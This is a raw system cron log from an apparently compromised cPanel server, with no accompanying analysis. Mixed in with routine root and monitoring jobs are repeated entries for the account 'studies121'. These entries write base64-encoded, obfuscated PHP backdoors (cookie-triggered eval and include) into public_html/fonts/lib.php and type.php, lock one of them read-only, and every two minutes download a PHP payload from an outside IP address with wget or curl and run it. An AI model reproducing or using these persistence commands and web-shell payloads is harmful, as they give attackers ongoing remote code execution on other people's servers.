Sep 13 01:52:01 ip-184-168-122-23 CROND[27451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:52:01 ip-184-168-122-23 CROND[27449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:52:01 ip-184-168-122-23 CROND[27452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:52:01 ip-184-168-122-23 CROND[27450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:53:01 ip-184-168-122-23 CROND[27558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:53:01 ip-184-168-122-23 CROND[27560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:53:01 ip-184-168-122-23 CROND[27561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:53:01 ip-184-168-122-23 CROND[27562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:54:01 ip-184-168-122-23 CROND[27686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:54:01 ip-184-168-122-23 CROND[27687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:54:01 ip-184-168-122-23 CROND[27688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:54:01 ip-184-168-122-23 CROND[27694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:54:01 ip-184-168-122-23 CROND[27693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:55:01 ip-184-168-122-23 CROND[27797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:55:01 ip-184-168-122-23 CROND[27799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:55:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:55:01 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:55:01 ip-184-168-122-23 CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:55:01 ip-184-168-122-23 CROND[27803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:56:01 ip-184-168-122-23 CROND[27901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:56:01 ip-184-168-122-23 CROND[27904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:56:01 ip-184-168-122-23 CROND[27905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:56:01 ip-184-168-122-23 CROND[27903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:56:02 ip-184-168-122-23 CROND[27906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:57:01 ip-184-168-122-23 CROND[28083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:57:01 ip-184-168-122-23 CROND[28084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:57:01 ip-184-168-122-23 CROND[28088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:57:01 ip-184-168-122-23 CROND[28089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:58:02 ip-184-168-122-23 CROND[28165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:58:02 ip-184-168-122-23 CROND[28166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:58:02 ip-184-168-122-23 CROND[28168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:58:02 ip-184-168-122-23 CROND[28169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:58:02 ip-184-168-122-23 CROND[28171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:59:01 ip-184-168-122-23 CROND[28260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:59:01 ip-184-168-122-23 CROND[28262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:59:01 ip-184-168-122-23 CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:59:01 ip-184-168-122-23 CROND[28265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:00:01 ip-184-168-122-23 CROND[28363]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28365]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 13 02:00:01 ip-184-168-122-23 CROND[28361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:00:01 ip-184-168-122-23 CROND[28368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:01:01 ip-184-168-122-23 CROND[28468]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 02:01:01 ip-184-168-122-23 CROND[28469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28468]: starting 0anacron
Sep 13 02:01:01 ip-184-168-122-23 CROND[28476]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:01:01 ip-184-168-122-23 CROND[28479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:01:01 ip-184-168-122-23 CROND[28481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:01:01 ip-184-168-122-23 CROND[28482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:01:01 ip-184-168-122-23 anacron[28488]: Anacron started on 2026-09-13
Sep 13 02:01:01 ip-184-168-122-23 anacron[28488]: Normal exit (0 jobs run)
Sep 13 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28490]: finished 0anacron
Sep 13 02:02:01 ip-184-168-122-23 CROND[28661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:02:01 ip-184-168-122-23 CROND[28660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:02:01 ip-184-168-122-23 CROND[28662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:02:01 ip-184-168-122-23 CROND[28668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:02:01 ip-184-168-122-23 CROND[28666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:03:01 ip-184-168-122-23 CROND[28750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:03:01 ip-184-168-122-23 CROND[28749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:03:01 ip-184-168-122-23 CROND[28752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:03:01 ip-184-168-122-23 CROND[28751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:04:01 ip-184-168-122-23 CROND[28863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:04:01 ip-184-168-122-23 CROND[28865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
